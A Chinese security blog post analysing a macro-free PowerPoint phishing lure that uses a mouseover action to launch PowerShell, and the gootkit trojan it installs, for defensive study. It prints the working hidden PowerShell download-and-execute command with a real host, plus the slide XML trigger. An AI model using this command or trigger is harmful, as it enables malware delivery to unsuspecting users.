安全路透社
当前位置:安全路透社 > 网络转载 > 正文

新型PPT钓鱼攻击分析(含gootkit木马详细分析)

* 本文作者:兰云科技银河实验室@diffway

1 概述

最近出现了一种新型的PPT钓鱼攻击方式,该种钓鱼攻击方式不需要宏就能实现执行powershell的功能,通过网络下载gootkit木马进行控制。

2 分析

样本 MD5:3bff3e4fec2b6030c89e792c05f049fc

在拿到样本我们放到虚拟机中进行执行,可以看到以下,但是这并不会触发攻击

当我们用F5放映这个文档后,并把鼠标放到 Loading…Please wait 这个上面,就可以看到如下的画面,提示我们要启动一个外部程序

这个时候我们在点击启动之后,会看见一个powershell的窗口一闪而过,可以知道样本执行了一段powershell的脚本

3.png

我们将样本后缀名改为zip,看看这段powershell 代码在何处,我们最终在ppt\slides中找到了这段powershell脚本

4.png

我们在slide1.xml.rels 中找到这段powershell脚本,我们可以看到Id为rId2,

我们在对应的slide1.xml  中id为rId2  对应的动作位为,当鼠标覆盖时,就触发这个外部事件

<a:hlinkMouseOver r:id="rId2"action="ppaction://program"/>

6.png

我们来看看这段powershell 脚本(已还原),可以看到是下载一个php文件放到临时文件夹,并重命名为ii.jse

powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',\"$env:temp\ii.jse\");Invoke-Item \"$env:temp\ii.jse\""

我们可以看到这个js  文件,这个文件是经过强混淆的作用是下载个exe文件

7.png

我们来详细分析下下载到的PE文件

MD5 13cdbd8c31155610b628423dc2720419
编译时间 2017年5月27日14点
编译器信息 Microsoft Visual C++ ver. 8.0
壳信息 无壳

下图为样本的大致流程

QQ截图20170613163726.png

在样本的开始阶段,做了些反模拟机的工作,比如一些错误的函数调用,看返回值是否被修改,执行很多无效指令,来达到模拟机指令的阈值等等

8.png

我们来看看这个样本中的sub_41E160中的无效指令

9.png

之后一个大的sleep来对抗沙箱,因为很多沙箱是有时间范围的

11.png

之后在解密出一段shellcode进行执行,这段shellcode的主要作用就是解密出一个pe文件然后加载运行,解密出的PE文件

12.png

将这个PE文件dump出来,看以下基本信息

MD5 89509761e2636e2b8a1c6f7ec8823b8f
编译器时间 2011-04-11 02:39:24
编译器类型 Microsoft Visual C++ ver. ~6.0~7.10 – Linker 10 – Visual 2010

样本首先会获取当前样本名称和mstsc.exe比较,如果不相同,则进入注入模块

13.png

样本首先会创建mstsc.exe

14.png

然后通过ZwCreateSection和ZwMapViewOfSection 进行注入,并在注入后,获取启动地址并进行修改

16.png

我们手动附加,进行修改,然后修改EIP,进行调试,我们将开始地址修改为下面的样子

17.png

由于和原文件代码相同,我们直接到文件名比较的地方,这里比较相同后,首先会获取进程的权限

18.png

如果判断是低权限的进程,则会通过ShellExecuteEx  使用管理员权限启动

19.png

之后在比较当前进程不是IE和不是任务进程后,打开BIOS注册表,查找是否在虚拟机中

20.png

并从系统信息中找到沙箱的蛛丝马迹这个是寻找Sandbox

21.png

查找BOCHS

22.png

查找的沙箱还有  VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、

如果查找到沙箱则进入死循环

23.png

然后拷贝自身到如下目录下,重命名位mqnets.exe,并执行

24.png

并删除自身

25.png

我们看看在拷贝到IE目录下样本会做些什么,在这里比较是在IE目录下的时候,会发生跳转

26.png

可以通过伪代码可以发现在通过比较后。会执行一个线程,我们看看这个线程

27.png

开头还是一段判断自己是否在虚拟机中

28.png

设置了4个环境变量分别是

Standalonemtm  true

Vendor_id exe_scheduler_3333

Mainprocessoverride  svchost.exe

RandomListenPortBase  6000

29.png

这个线程的主要作用是开启下面的5个线程

31.png

我们首先看第一个线程,主要作用是连接一个网址

网址为  web.1901ospinosct.com 

32.png

33.png

在连接时候,还包括了探测IE代理的设置,如果发现,进行设置

34.png

关闭重定向和加入查询认证(SSL)

36.png

将接收的文件内容放到注册中

37.png

注册表为  HKEY_CURRENT_USER\Software\binaryImage32_0

HKEY_CURRENT_USER\Software\binaryImage32_1

41.png

第二个线程主要是将第一步下载的创建成文件

42.png

将IE的保护模式设置位禁用

43.png

第三个线程将文件进行注入

45.png

第四个线程主要是保持持久化

创建inf文件

55.png

设置启动

使用  IEAK\GroupPolicy\PendingGPOs  key  去保持持久化

56.png

第五个线程主要是判断Temp文件是否如下图的文件,如果有壳杀死自身,并删除自身

57.png

58.png

总结

样本在对抗沙箱和模拟机中有很强的针对性,在持久话方面也很独特,值得研究一下

* 本文作者:兰云科技银河实验室@diffway

未经允许不得转载:安全路透社 » 新型PPT钓鱼攻击分析(含gootkit木马详细分析)

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册